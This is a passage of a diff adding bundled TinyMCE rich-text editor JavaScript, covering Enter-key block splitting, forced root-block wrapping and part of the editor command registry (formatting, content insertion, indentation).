+
+							clonedNode = node.cloneNode(false);
+							dom.setAttrib(clonedNode, 'id', ''); // Remove ID since it needs to be document unique
+
+							if (block.hasChildNodes()) {
+								clonedNode.appendChild(block.firstChild);
+								block.appendChild(clonedNode);
+							} else {
+								caretNode = clonedNode;
+								block.appendChild(clonedNode);
+							}
+						}
+					} while ((node = node.parentNode));
+				}
+
+				// BR is needed in empty blocks on non IE browsers
+				if (!isIE) {
+					caretNode.innerHTML = '<br data-mce-bogus="1">';
+				}
+
+				return block;
+			}
+
+			// Returns true/false if the caret is at the start/end of the parent block element
+			function isCaretAtStartOrEndOfBlock(start) {
+				var walker, node, name;
+
+				// Caret is in the middle of a text node like "a|b"
+				if (container.nodeType == 3 && (start ? offset > 0 : offset < container.nodeValue.length)) {
+					return false;
+				}
+
+				// If after the last element in block node edge case for #5091
+				if (container.parentNode == parentBlock && isAfterLastNodeInContainer && !start) {
+					return true;
+				}
+
+				// If the caret if before the first element in parentBlock
+				if (start && container.nodeType == 1 && container == parentBlock.firstChild) {
+					return true;
+				}
+
+				// Caret can be before/after a table
+				if (container.nodeName === "TABLE" || (container.previousSibling && container.previousSibling.nodeName == "TABLE")) {
+					return (isAfterLastNodeInContainer && !start) || (!isAfterLastNodeInContainer && start);
+				}
+
+				// Walk the DOM and look for text nodes or non empty elements
+				walker = new TreeWalker(container, parentBlock);
+
+				// If caret is in beginning or end of a text block then jump to the next/previous node
+				if (container.nodeType == 3) {
+					if (start && offset === 0) {
+						walker.prev();
+					} else if (!start && offset == container.nodeValue.length) {
+						walker.next();
+					}
+				}
+
+				while ((node = walker.current())) {
+					if (node.nodeType === 1) {
+						// Ignore bogus elements
+						if (!node.getAttribute('data-mce-bogus')) {
+							// Keep empty elements like <img /> <input /> but not trailing br:s like <p>text|<br></p>
+							name = node.nodeName.toLowerCase();
+							if (nonEmptyElementsMap[name] && name !== 'br') {
+								return false;
+							}
+						}
+					} else if (node.nodeType === 3 && !/^[ \t\r\n]*$/.test(node.nodeValue)) {
+						return false;
+					}
+
+					if (start) {
+						walker.prev();
+					} else {
+						walker.next();
+					}
+				}
+
+				return true;
+			}
+
+			// Wraps any text nodes or inline elements in the specified forced root block name
+			function wrapSelfAndSiblingsInDefaultBlock(container, offset) {
+				var newBlock, parentBlock, startNode, node, next, rootBlockName, blockName = newBlockName || 'P';
+
+				// Not in a block element or in a table cell or caption
+				parentBlock = dom.getParent(container, dom.isBlock);
+				rootBlockName = editor.getBody().nodeName.toLowerCase();
+				if (!parentBlock || !canSplitBlock(parentBlock)) {
+					parentBlock = parentBlock || editableRoot;
+
+					if (!parentBlock.hasChildNodes()) {
+						newBlock = dom.create(blockName);
+						setForcedBlockAttrs(newBlock);
+						parentBlock.appendChild(newBlock);
+						rng.setStart(newBlock, 0);
+						rng.setEnd(newBlock, 0);
+						return newBlock;
+					}
+
+					// Find parent that is the first child of parentBlock
+					node = container;
+					while (node.parentNode != parentBlock) {
+						node = node.parentNode;
+					}
+
+					// Loop left to find start node start wrapping at
+					while (node && !dom.isBlock(node)) {
+						startNode = node;
+						node = node.previousSibling;
+					}
+
+					if (startNode && schema.isValidChild(rootBlockName, blockName.toLowerCase())) {
+						newBlock = dom.create(blockName);
+						setForcedBlockAttrs(newBlock);
+						startNode.parentNode.insertBefore(newBlock, startNode);
+
+						// Start wrapping until we hit a block
+						node = startNode;
+						while (node && !dom.isBlock(node)) {
+							next = node.nextSibling;
+							newBlock.appendChild(node);
+							node = next;
+						}
+
+						// Restore range to it's past location
+						rng.setStart(container, offset);
+						rng.setEnd(container, offset);
+					}
+				}
+
+				return container;
+			}
+
+			// Inserts a block or br before/after or in the middle of a split list of the LI is empty
+			function handleEmptyListItem() {
+				function isFirstOrLastLi(first) {
+					var node = containerBlock[first ? 'firstChild' : 'lastChild'];
+
+					// Find first/last element since there might be whitespace there
+					while (node) {
+						if (node.nodeType == 1) {
+							break;
+						}
+
+						node = node[first ? 'nextSibling' : 'previousSibling'];
+					}
+
+					return node === parentBlock;
+				}
+
+				function getContainerBlock() {
+					var containerBlockParent = containerBlock.parentNode;
+
+					if (/^(LI|DT|DD)$/.test(containerBlockParent.nodeName)) {
+						return containerBlockParent;
+					}
+
+					return containerBlock;
+				}
+
+				// Check if we are in an nested list
+				var containerBlockParentName = containerBlock.parentNode.nodeName;
+				if (/^(OL|UL|LI)$/.test(containerBlockParentName)) {
+					newBlockName = 'LI';
+				}
+
+				newBlock = newBlockName ? createNewBlock(newBlockName) : dom.create('BR');
+
+				if (isFirstOrLastLi(true) && isFirstOrLastLi()) {
+					if (containerBlockParentName == 'LI') {
+						// Nested list is inside a LI
+						dom.insertAfter(newBlock, getContainerBlock());
+					} else {
+						// Is first and last list item then replace the OL/UL with a text block
+						dom.replace(newBlock, containerBlock);
+					}
+				} else if (isFirstOrLastLi(true)) {
+					if (containerBlockParentName == 'LI') {
+						// List nested in an LI then move the list to a new sibling LI
+						dom.insertAfter(newBlock, getContainerBlock());
+						newBlock.appendChild(dom.doc.createTextNode(' ')); // Needed for IE so the caret can be placed
+						newBlock.appendChild(containerBlock);
+					} else {
+						// First LI in list then remove LI and add text block before list
+						containerBlock.parentNode.insertBefore(newBlock, containerBlock);
+					}
+				} else if (isFirstOrLastLi()) {
+					// Last LI in list then remove LI and add text block after list
+					dom.insertAfter(newBlock, getContainerBlock());
+					renderBlockOnIE(newBlock);
+				} else {
+					// Middle LI in list the split the list and insert a text block in the middle
+					// Extract after fragment and insert it after the current block
+					containerBlock = getContainerBlock();
+					tmpRng = rng.cloneRange();
+					tmpRng.setStartAfter(parentBlock);
+					tmpRng.setEndAfter(containerBlock);
+					fragment = tmpRng.extractContents();
+
+					if (newBlockName == 'LI' && fragment.firstChild.nodeName == 'LI') {
+						newBlock = fragment.firstChild;
+						dom.insertAfter(fragment, containerBlock);
+					} else {
+						dom.insertAfter(fragment, containerBlock);
+						dom.insertAfter(newBlock, containerBlock);
+					}
+				}
+
+				dom.remove(parentBlock);
+				moveToCaretPosition(newBlock);
+				undoManager.add();
+			}
+
+			// Inserts a BR element if the forced_root_block option is set to false or empty string
+			function insertBr() {
+				editor.execCommand("InsertLineBreak", false, evt);
+			}
+
+			// Trims any linebreaks at the beginning of node user for example when pressing enter in a PRE element
+			function trimLeadingLineBreaks(node) {
+				do {
+					if (node.nodeType === 3) {
+						node.nodeValue = node.nodeValue.replace(/^[\r\n]+/, '');
+					}
+
+					node = node.firstChild;
+				} while (node);
+			}
+
+			function getEditableRoot(node) {
+				var root = dom.getRoot(), parent, editableRoot;
+
+				// Get all parents until we hit a non editable parent or the root
+				parent = node;
+				while (parent !== root && dom.getContentEditable(parent) !== "false") {
+					if (dom.getContentEditable(parent) === "true") {
+						editableRoot = parent;
+					}
+
+					parent = parent.parentNode;
+				}
+
+				return parent !== root ? editableRoot : root;
+			}
+
+			// Adds a BR at the end of blocks that only contains an IMG or INPUT since
+			// these might be floated and then they won't expand the block
+			function addBrToBlockIfNeeded(block) {
+				var lastChild;
+
+				// IE will render the blocks correctly other browsers needs a BR
+				if (!isIE) {
+					block.normalize(); // Remove empty text nodes that got left behind by the extract
+
+					// Check if the block is empty or contains a floated last child
+					lastChild = block.lastChild;
+					if (!lastChild || (/^(left|right)$/gi.test(dom.getStyle(lastChild, 'float', true)))) {
+						dom.add(block, 'br');
+					}
+				}
+			}
+
+			rng = selection.getRng(true);
+
+			// Event is blocked by some other handler for example the lists plugin
+			if (evt.isDefaultPrevented()) {
+				return;
+			}
+
+			// Delete any selected contents
+			if (!rng.collapsed) {
+				editor.execCommand('Delete');
+				return;
+			}
+
+			// Setup range items and newBlockName
+			new RangeUtils(dom).normalize(rng);
+			container = rng.startContainer;
+			offset = rng.startOffset;
+			newBlockName = (settings.force_p_newlines ? 'p' : '') || settings.forced_root_block;
+			newBlockName = newBlockName ? newBlockName.toUpperCase() : '';
+			documentMode = dom.doc.documentMode;
+			shiftKey = evt.shiftKey;
+
+			// Resolve node index
+			if (container.nodeType == 1 && container.hasChildNodes()) {
+				isAfterLastNodeInContainer = offset > container.childNodes.length - 1;
+
+				container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
+				if (isAfterLastNodeInContainer && container.nodeType == 3) {
+					offset = container.nodeValue.length;
+				} else {
+					offset = 0;
+				}
+			}
+
+			// Get editable root node normaly the body element but sometimes a div or span
+			editableRoot = getEditableRoot(container);
+
+			// If there is no editable root then enter is done inside a contentEditable false element
+			if (!editableRoot) {
+				return;
+			}
+
+			undoManager.beforeChange();
+
+			// If editable root isn't block nor the root of the editor
+			if (!dom.isBlock(editableRoot) && editableRoot != dom.getRoot()) {
+				if (!newBlockName || shiftKey) {
+					insertBr();
+				}
+
+				return;
+			}
+
+			// Wrap the current node and it's sibling in a default block if it's needed.
+			// for example this <td>text|<b>text2</b></td> will become this <td><p>text|<b>text2</p></b></td>
+			// This won't happen if root blocks are disabled or the shiftKey is pressed
+			if ((newBlockName && !shiftKey) || (!newBlockName && shiftKey)) {
+				container = wrapSelfAndSiblingsInDefaultBlock(container, offset);
+			}
+
+			// Find parent block and setup empty block paddings
+			parentBlock = dom.getParent(container, dom.isBlock);
+			containerBlock = parentBlock ? dom.getParent(parentBlock.parentNode, dom.isBlock) : null;
+
+			// Setup block names
+			parentBlockName = parentBlock ? parentBlock.nodeName.toUpperCase() : ''; // IE < 9 & HTML5
+			containerBlockName = containerBlock ? containerBlock.nodeName.toUpperCase() : ''; // IE < 9 & HTML5
+
+			// Enter inside block contained within a LI then split or insert before/after LI
+			if (containerBlockName == 'LI' && !evt.ctrlKey) {
+				parentBlock = containerBlock;
+				parentBlockName = containerBlockName;
+			}
+
+			// Handle enter in list item
+			if (/^(LI|DT|DD)$/.test(parentBlockName)) {
+				if (!newBlockName && shiftKey) {
+					insertBr();
+					return;
+				}
+
+				// Handle enter inside an empty list item
+				if (dom.isEmpty(parentBlock)) {
+					handleEmptyListItem();
+					return;
+				}
+			}
+
+			// Don't split PRE tags but insert a BR instead easier when writing code samples etc
+			if (parentBlockName == 'PRE' && settings.br_in_pre !== false) {
+				if (!shiftKey) {
+					insertBr();
+					return;
+				}
+			} else {
+				// If no root block is configured then insert a BR by default or if the shiftKey is pressed
+				if ((!newBlockName && !shiftKey && parentBlockName != 'LI') || (newBlockName && shiftKey)) {
+					insertBr();
+					return;
+				}
+			}
+
+			// If parent block is root then never insert new blocks
+			if (newBlockName && parentBlock === editor.getBody()) {
+				return;
+			}
+
+			// Default block name if it's not configured
+			newBlockName = newBlockName || 'P';
+
+			// Insert new block before/after the parent block depending on caret location
+			if (isCaretAtStartOrEndOfBlock()) {
+				// If the caret is at the end of a header we produce a P tag after it similar to Word unless we are in a hgroup
+				if (/^(H[1-6]|PRE|FIGURE)$/.test(parentBlockName) && containerBlockName != 'HGROUP') {
+					newBlock = createNewBlock(newBlockName);
+				} else {
+					newBlock = createNewBlock();
+				}
+
+				// Split the current container block element if enter is pressed inside an empty inner block element
+				if (settings.end_container_on_empty_block && canSplitBlock(containerBlock) && dom.isEmpty(parentBlock)) {
+					// Split container block for example a BLOCKQUOTE at the current blockParent location for example a P
+					newBlock = dom.split(containerBlock, parentBlock);
+				} else {
+					dom.insertAfter(newBlock, parentBlock);
+				}
+
+				moveToCaretPosition(newBlock);
+			} else if (isCaretAtStartOrEndOfBlock(true)) {
+				// Insert new block before
+				newBlock = parentBlock.parentNode.insertBefore(createNewBlock(), parentBlock);
+				renderBlockOnIE(newBlock);
+				moveToCaretPosition(parentBlock);
+			} else {
+				// Extract after fragment and insert it after the current block
+				tmpRng = rng.cloneRange();
+				tmpRng.setEndAfter(parentBlock);
+				fragment = tmpRng.extractContents();
+				trimLeadingLineBreaks(fragment);
+				newBlock = fragment.firstChild;
+				dom.insertAfter(fragment, parentBlock);
+				trimInlineElementsOnLeftSideOfBlock(newBlock);
+				addBrToBlockIfNeeded(parentBlock);
+				moveToCaretPosition(newBlock);
+			}
+
+			dom.setAttrib(newBlock, 'id', ''); // Remove ID since it needs to be document unique
+
+			// Allow custom handling of new blocks
+			editor.fire('NewBlock', {newBlock: newBlock});
+
+			undoManager.add();
+		}
+
+		editor.on('keydown', function(evt) {
+			if (evt.keyCode == 13) {
+				if (handleEnterKey(evt) !== false) {
+					evt.preventDefault();
+				}
+			}
+		});
+	};
+});
+
+// Included from: js/tinymce/classes/ForceBlocks.js
+
+/**
+ * ForceBlocks.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+define("tinymce/ForceBlocks", [], function() {
+	return function(editor) {
+		var settings = editor.settings, dom = editor.dom, selection = editor.selection;
+		var schema = editor.schema, blockElements = schema.getBlockElements();
+
+		function addRootBlocks() {
+			var node = selection.getStart(), rootNode = editor.getBody(), rng;
+			var startContainer, startOffset, endContainer, endOffset, rootBlockNode;
+			var tempNode, offset = -0xFFFFFF, wrapped, restoreSelection;
+			var tmpRng, rootNodeName, forcedRootBlock;
+
+			forcedRootBlock = settings.forced_root_block;
+
+			if (!node || node.nodeType !== 1 || !forcedRootBlock) {
+				return;
+			}
+
+			// Check if node is wrapped in block
+			while (node && node != rootNode) {
+				if (blockElements[node.nodeName]) {
+					return;
+				}
+
+				node = node.parentNode;
+			}
+
+			// Get current selection
+			rng = selection.getRng();
+			if (rng.setStart) {
+				startContainer = rng.startContainer;
+				startOffset = rng.startOffset;
+				endContainer = rng.endContainer;
+				endOffset = rng.endOffset;
+
+				try {
+					restoreSelection = editor.getDoc().activeElement === rootNode;
+				} catch (ex) {
+					// IE throws unspecified error here sometimes
+				}
+			} else {
+				// Force control range into text range
+				if (rng.item) {
+					node = rng.item(0);
+					rng = editor.getDoc().body.createTextRange();
+					rng.moveToElementText(node);
+				}
+
+				restoreSelection = rng.parentElement().ownerDocument === editor.getDoc();
+				tmpRng = rng.duplicate();
+				tmpRng.collapse(true);
+				startOffset = tmpRng.move('character', offset) * -1;
+
+				if (!tmpRng.collapsed) {
+					tmpRng = rng.duplicate();
+					tmpRng.collapse(false);
+					endOffset = (tmpRng.move('character', offset) * -1) - startOffset;
+				}
+			}
+
+			// Wrap non block elements and text nodes
+			node = rootNode.firstChild;
+			rootNodeName = rootNode.nodeName.toLowerCase();
+			while (node) {
+				// TODO: Break this up, too complex
+				if (((node.nodeType === 3 || (node.nodeType == 1 && !blockElements[node.nodeName]))) &&
+					schema.isValidChild(rootNodeName, forcedRootBlock.toLowerCase())) {
+					// Remove empty text nodes
+					if (node.nodeType === 3 && node.nodeValue.length === 0) {
+						tempNode = node;
+						node = node.nextSibling;
+						dom.remove(tempNode);
+						continue;
+					}
+
+					if (!rootBlockNode) {
+						rootBlockNode = dom.create(forcedRootBlock, editor.settings.forced_root_block_attrs);
+						node.parentNode.insertBefore(rootBlockNode, node);
+						wrapped = true;
+					}
+
+					tempNode = node;
+					node = node.nextSibling;
+					rootBlockNode.appendChild(tempNode);
+				} else {
+					rootBlockNode = null;
+					node = node.nextSibling;
+				}
+			}
+
+			if (wrapped && restoreSelection) {
+				if (rng.setStart) {
+					rng.setStart(startContainer, startOffset);
+					rng.setEnd(endContainer, endOffset);
+					selection.setRng(rng);
+				} else {
+					// Only select if the previous selection was inside the document to prevent auto focus in quirks mode
+					try {
+						rng = editor.getDoc().body.createTextRange();
+						rng.moveToElementText(rootNode);
+						rng.collapse(true);
+						rng.moveStart('character', startOffset);
+
+						if (endOffset > 0) {
+							rng.moveEnd('character', endOffset);
+						}
+
+						rng.select();
+					} catch (ex) {
+						// Ignore
+					}
+				}
+
+				editor.nodeChanged();
+			}
+		}
+
+		// Force root blocks
+		if (settings.forced_root_block) {
+			editor.on('NodeChange', addRootBlocks);
+		}
+	};
+});
+
+// Included from: js/tinymce/classes/EditorCommands.js
+
+/**
+ * EditorCommands.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class enables you to add custom editor commands and it contains
+ * overrides for native browser commands to address various bugs and issues.
+ *
+ * @class tinymce.EditorCommands
+ */
+define("tinymce/EditorCommands", [
+	"tinymce/html/Serializer",
+	"tinymce/Env",
+	"tinymce/util/Tools",
+	"tinymce/dom/ElementUtils",
+	"tinymce/dom/RangeUtils",
+	"tinymce/dom/TreeWalker"
+], function(Serializer, Env, Tools, ElementUtils, RangeUtils, TreeWalker) {
+	// Added for compression purposes
+	var each = Tools.each, extend = Tools.extend;
+	var map = Tools.map, inArray = Tools.inArray, explode = Tools.explode;
+	var isGecko = Env.gecko, isIE = Env.ie, isOldIE = Env.ie && Env.ie < 11;
+	var TRUE = true, FALSE = false;
+
+	return function(editor) {
+		var dom = editor.dom,
+			selection = editor.selection,
+			commands = {state: {}, exec: {}, value: {}},
+			settings = editor.settings,
+			formatter = editor.formatter,
+			bookmark;
+
+		/**
+		 * Executes the specified command.
+		 *
+		 * @method execCommand
+		 * @param {String} command Command to execute.
+		 * @param {Boolean} ui Optional user interface state.
+		 * @param {Object} value Optional value for command.
+		 * @return {Boolean} true/false if the command was found or not.
+		 */
+		function execCommand(command, ui, value) {
+			var func;
+
+			command = command.toLowerCase();
+			if ((func = commands.exec[command])) {
+				func(command, ui, value);
+				return TRUE;
+			}
+
+			return FALSE;
+		}
+
+		/**
+		 * Queries the current state for a command for example if the current selection is "bold".
+		 *
+		 * @method queryCommandState
+		 * @param {String} command Command to check the state of.
+		 * @return {Boolean/Number} true/false if the selected contents is bold or not, -1 if it's not found.
+		 */
+		function queryCommandState(command) {
+			var func;
+
+			command = command.toLowerCase();
+			if ((func = commands.state[command])) {
+				return func(command);
+			}
+
+			return -1;
+		}
+
+		/**
+		 * Queries the command value for example the current fontsize.
+		 *
+		 * @method queryCommandValue
+		 * @param {String} command Command to check the value of.
+		 * @return {Object} Command value of false if it's not found.
+		 */
+		function queryCommandValue(command) {
+			var func;
+
+			command = command.toLowerCase();
+			if ((func = commands.value[command])) {
+				return func(command);
+			}
+
+			return FALSE;
+		}
+
+		/**
+		 * Adds commands to the command collection.
+		 *
+		 * @method addCommands
+		 * @param {Object} command_list Name/value collection with commands to add, the names can also be comma separated.
+		 * @param {String} type Optional type to add, defaults to exec. Can be value or state as well.
+		 */
+		function addCommands(command_list, type) {
+			type = type || 'exec';
+
+			each(command_list, function(callback, command) {
+				each(command.toLowerCase().split(','), function(command) {
+					commands[type][command] = callback;
+				});
+			});
+		}
+
+		// Expose public methods
+		extend(this, {
+			execCommand: execCommand,
+			queryCommandState: queryCommandState,
+			queryCommandValue: queryCommandValue,
+			addCommands: addCommands
+		});
+
+		// Private methods
+
+		function execNativeCommand(command, ui, value) {
+			if (ui === undefined) {
+				ui = FALSE;
+			}
+
+			if (value === undefined) {
+				value = null;
+			}
+
+			return editor.getDoc().execCommand(command, ui, value);
+		}
+
+		function isFormatMatch(name) {
+			return formatter.match(name);
+		}
+
+		function toggleFormat(name, value) {
+			formatter.toggle(name, value ? {value: value} : undefined);
+			editor.nodeChanged();
+		}
+
+		function storeSelection(type) {
+			bookmark = selection.getBookmark(type);
+		}
+
+		function restoreSelection() {
+			selection.moveToBookmark(bookmark);
+		}
+
+		// Add execCommand overrides
+		addCommands({
+			// Ignore these, added for compatibility
+			'mceResetDesignMode,mceBeginUndoLevel': function() {},
+
+			// Add undo manager logic
+			'mceEndUndoLevel,mceAddUndoLevel': function() {
+				editor.undoManager.add();
+			},
+
+			'Cut,Copy,Paste': function(command) {
+				var doc = editor.getDoc(), failed;
+
+				// Try executing the native command
+				try {
+					execNativeCommand(command);
+				} catch (ex) {
+					// Command failed
+					failed = TRUE;
+				}
+
+				// Present alert message about clipboard access not being available
+				if (failed || !doc.queryCommandSupported(command)) {
+					var msg = editor.translate(
+						"Your browser doesn't support direct access to the clipboard. " +
+						"Please use the Ctrl+X/C/V keyboard shortcuts instead."
+					);
+
+					if (Env.mac) {
+						msg = msg.replace(/Ctrl\+/g, '\u2318+');
+					}
+
+					editor.windowManager.alert(msg);
+				}
+			},
+
+			// Override unlink command
+			unlink: function() {
+				if (selection.isCollapsed()) {
+					var elm = selection.getNode();
+					if (elm.tagName == 'A') {
+						editor.dom.remove(elm, true);
+					}
+
+					return;
+				}
+
+				formatter.remove("link");
+			},
+
+			// Override justify commands to use the text formatter engine
+			'JustifyLeft,JustifyCenter,JustifyRight,JustifyFull': function(command) {
+				var align = command.substring(7);
+
+				if (align == 'full') {
+					align = 'justify';
+				}
+
+				// Remove all other alignments first
+				each('left,center,right,justify'.split(','), function(name) {
+					if (align != name) {
+						formatter.remove('align' + name);
+					}
+				});
+
+				toggleFormat('align' + align);
+				execCommand('mceRepaint');
+			},
+
+			// Override list commands to fix WebKit bug
+			'InsertUnorderedList,InsertOrderedList': function(command) {
+				var listElm, listParent;
+
+				execNativeCommand(command);
+
+				// WebKit produces lists within block elements so we need to split them
+				// we will replace the native list creation logic to custom logic later on
+				// TODO: Remove this when the list creation logic is removed
+				listElm = dom.getParent(selection.getNode(), 'ol,ul');
+				if (listElm) {
+					listParent = listElm.parentNode;
+
+					// If list is within a text block then split that block
+					if (/^(H[1-6]|P|ADDRESS|PRE)$/.test(listParent.nodeName)) {
+						storeSelection();
+						dom.split(listParent, listElm);
+						restoreSelection();
+					}
+				}
+			},
+
+			// Override commands to use the text formatter engine
+			'Bold,Italic,Underline,Strikethrough,Superscript,Subscript': function(command) {
+				toggleFormat(command);
+			},
+
+			// Override commands to use the text formatter engine
+			'ForeColor,HiliteColor,FontName': function(command, ui, value) {
+				toggleFormat(command, value);
+			},
+
+			FontSize: function(command, ui, value) {
+				var fontClasses, fontSizes;
+
+				// Convert font size 1-7 to styles
+				if (value >= 1 && value <= 7) {
+					fontSizes = explode(settings.font_size_style_values);
+					fontClasses = explode(settings.font_size_classes);
+
+					if (fontClasses) {
+						value = fontClasses[value - 1] || value;
+					} else {
+						value = fontSizes[value - 1] || value;
+					}
+				}
+
+				toggleFormat(command, value);
+			},
+
+			RemoveFormat: function(command) {
+				formatter.remove(command);
+			},
+
+			mceBlockQuote: function() {
+				toggleFormat('blockquote');
+			},
+
+			FormatBlock: function(command, ui, value) {
+				return toggleFormat(value || 'p');
+			},
+
+			mceCleanup: function() {
+				var bookmark = selection.getBookmark();
+
+				editor.setContent(editor.getContent({cleanup: TRUE}), {cleanup: TRUE});
+
+				selection.moveToBookmark(bookmark);
+			},
+
+			mceRemoveNode: function(command, ui, value) {
+				var node = value || selection.getNode();
+
+				// Make sure that the body node isn't removed
+				if (node != editor.getBody()) {
+					storeSelection();
+					editor.dom.remove(node, TRUE);
+					restoreSelection();
+				}
+			},
+
+			mceSelectNodeDepth: function(command, ui, value) {
+				var counter = 0;
+
+				dom.getParent(selection.getNode(), function(node) {
+					if (node.nodeType == 1 && counter++ == value) {
+						selection.select(node);
+						return FALSE;
+					}
+				}, editor.getBody());
+			},
+
+			mceSelectNode: function(command, ui, value) {
+				selection.select(value);
+			},
+
+			mceInsertContent: function(command, ui, value) {
+				var parser, serializer, parentNode, rootNode, fragment, args;
+				var marker, rng, node, node2, bookmarkHtml, merge;
+				var textInlineElements = editor.schema.getTextInlineElements();
+
+				function trimOrPaddLeftRight(html) {
+					var rng, container, offset;
+
+					rng = selection.getRng(true);
+					container = rng.startContainer;
+					offset = rng.startOffset;
+
+					function hasSiblingText(siblingName) {
+						return container[siblingName] && container[siblingName].nodeType == 3;
+					}
+
+					if (container.nodeType == 3) {
+						if (offset > 0) {
+							html = html.replace(/^&nbsp;/, ' ');
+						} else if (!hasSiblingText('previousSibling')) {
+							html = html.replace(/^ /, '&nbsp;');
+						}
+
+						if (offset < container.length) {
+							html = html.replace(/&nbsp;(<br>|)$/, ' ');
+						} else if (!hasSiblingText('nextSibling')) {
+							html = html.replace(/(&nbsp;| )(<br>|)$/, '&nbsp;');
+						}
+					}
+
+					return html;
+				}
+
+				function markInlineFormatElements(fragment) {
+					if (merge) {
+						for (node = fragment.firstChild; node; node = node.walk(true)) {
+							if (textInlineElements[node.name]) {
+								node.attr('data-mce-new', "true");
+							}
+						}
+					}
+				}
+
+				function reduceInlineTextElements() {
+					if (merge) {
+						var root = editor.getBody(), elementUtils = new ElementUtils(dom);
+
+						each(dom.select('*[data-mce-new]'), function(node) {
+							node.removeAttribute('data-mce-new');
+
+							for (var testNode = node.parentNode; testNode && testNode != root; testNode = testNode.parentNode) {
+								if (elementUtils.compare(testNode, node)) {
+									dom.remove(node, true);
+								}
+							}
+						});
+					}
+				}
+
+				if (typeof(value) != 'string') {
+					merge = value.merge;
+					value = value.content;
+				}
+
+				// Check for whitespace before/after value
+				if (/^ | $/.test(value)) {
+					value = trimOrPaddLeftRight(value);
+				}
+
+				// Setup parser and serializer
+				parser = editor.parser;
+				serializer = new Serializer({}, editor.schema);
+				bookmarkHtml = '<span id="mce_marker" data-mce-type="bookmark">&#xFEFF;&#x200B;</span>';
+
+				// Run beforeSetContent handlers on the HTML to be inserted
+				args = {content: value, format: 'html', selection: true};
+				editor.fire('BeforeSetContent', args);
+				value = args.content;
+
+				// Add caret at end of contents if it's missing
+				if (value.indexOf('{$caret}') == -1) {
+					value += '{$caret}';
+				}
+
+				// Replace the caret marker with a span bookmark element
+				value = value.replace(/\{\$caret\}/, bookmarkHtml);
+
+				// If selection is at <body>|<p></p> then move it into <body><p>|</p>
+				rng = selection.getRng();
+				var caretElement = rng.startContainer || (rng.parentElement ? rng.parentElement() : null);
+				var body = editor.getBody();
+				if (caretElement === body && selection.isCollapsed()) {
+					if (dom.isBlock(body.firstChild) && dom.isEmpty(body.firstChild)) {
+						rng = dom.createRng();
+						rng.setStart(body.firstChild, 0);
+						rng.setEnd(body.firstChild, 0);
+						selection.setRng(rng);
+					}
+				}
+
+				// Insert node maker where we will insert the new HTML and get it's parent
+				if (!selection.isCollapsed()) {
+					editor.getDoc().execCommand('Delete', false, null);
+				}
+
+				parentNode = selection.getNode();
+
+				// Parse the fragment within the context of the parent node
+				var parserArgs = {context: parentNode.nodeName.toLowerCase()};
+				fragment = parser.parse(value, parserArgs);
+
+				markInlineFormatElements(fragment);
+
+				// Move the caret to a more suitable location
+				node = fragment.lastChild;
+				if (node.attr('id') == 'mce_marker') {
+					marker = node;
+
+					for (node = node.prev; node; node = node.walk(true)) {
+						if (node.type == 3 || !dom.isBlock(node.name)) {
+							if (editor.schema.isValidChild(node.parent.name, 'span')) {
+								node.parent.insert(marker, node, node.name === 'br');
+							}
+							break;
+						}
+					}
+				}
+
+				// If parser says valid we can insert the contents into that parent
+				if (!parserArgs.invalid) {
+					value = serializer.serialize(fragment);
+
+					// Check if parent is empty or only has one BR element then set the innerHTML of that parent
+					node = parentNode.firstChild;
+					node2 = parentNode.lastChild;
+					if (!node || (node === node2 && node.nodeName === 'BR')) {
+						dom.setHTML(parentNode, value);
+					} else {
+						selection.setContent(value);
+					}
+				} else {
+					// If the fragment was invalid within that context then we need
+					// to parse and process the parent it's inserted into
+
+					// Insert bookmark node and get the parent
+					selection.setContent(bookmarkHtml);
+					parentNode = selection.getNode();
+					rootNode = editor.getBody();
+
+					// Opera will return the document node when selection is in root
+					if (parentNode.nodeType == 9) {
+						parentNode = node = rootNode;
+					} else {
+						node = parentNode;
+					}
+
+					// Find the ancestor just before the root element
+					while (node !== rootNode) {
+						parentNode = node;
+						node = node.parentNode;
+					}
+
+					// Get the outer/inner HTML depending on if we are in the root and parser and serialize that
+					value = parentNode == rootNode ? rootNode.innerHTML : dom.getOuterHTML(parentNode);
+					value = serializer.serialize(
+						parser.parse(
+							// Need to replace by using a function since $ in the contents would otherwise be a problem
+							value.replace(/<span (id="mce_marker"|id=mce_marker).+?<\/span>/i, function() {
+								return serializer.serialize(fragment);
+							})
+						)
+					);
+
+					// Set the inner/outer HTML depending on if we are in the root or not
+					if (parentNode == rootNode) {
+						dom.setHTML(rootNode, value);
+					} else {
+						dom.setOuterHTML(parentNode, value);
+					}
+				}
+
+				reduceInlineTextElements();
+
+				marker = dom.get('mce_marker');
+				selection.scrollIntoView(marker);
+
+				// Move selection before marker and remove it
+				rng = dom.createRng();
+
+				// If previous sibling is a text node set the selection to the end of that node
+				node = marker.previousSibling;
+				if (node && node.nodeType == 3) {
+					rng.setStart(node, node.nodeValue.length);
+
+					// TODO: Why can't we normalize on IE
+					if (!isIE) {
+						node2 = marker.nextSibling;
+						if (node2 && node2.nodeType == 3) {
+							node.appendData(node2.data);
+							node2.parentNode.removeChild(node2);
+						}
+					}
+				} else {
+					// If the previous sibling isn't a text node or doesn't exist set the selection before the marker node
+					rng.setStartBefore(marker);
+					rng.setEndBefore(marker);
+				}
+
+				// Remove the marker node and set the new range
+				dom.remove(marker);
+				selection.setRng(rng);
+
+				// Dispatch after event and add any visual elements needed
+				editor.fire('SetContent', args);
+				editor.addVisual();
+			},
+
+			mceInsertRawHTML: function(command, ui, value) {
+				selection.setContent('tiny_mce_marker');
+				editor.setContent(
+					editor.getContent().replace(/tiny_mce_marker/g, function() {
+						return value;
+					})
+				);
+			},
+
+			mceToggleFormat: function(command, ui, value) {
+				toggleFormat(value);
+			},
+
+			mceSetContent: function(command, ui, value) {
+				editor.setContent(value);
+			},
+
+			'Indent,Outdent': function(command) {
+				var intentValue, indentUnit, value;
+
+				// Setup indent level
+				intentValue = settings.indentation;
+				indentUnit = /[a-z%]+$/i.exec(intentValue);
+				intentValue = parseInt(intentValue, 10);
+
+				if (!queryCommandState('InsertUnorderedList') && !queryCommandState('InsertOrderedList')) {
+					// If forced_root_blocks is set to false we don't have a block to indent so lets create a div
+					if (!settings.forced_root_block && !dom.getParent(selection.getNode(), dom.isBlock)) {
+						formatter.apply('div');
+					}
+
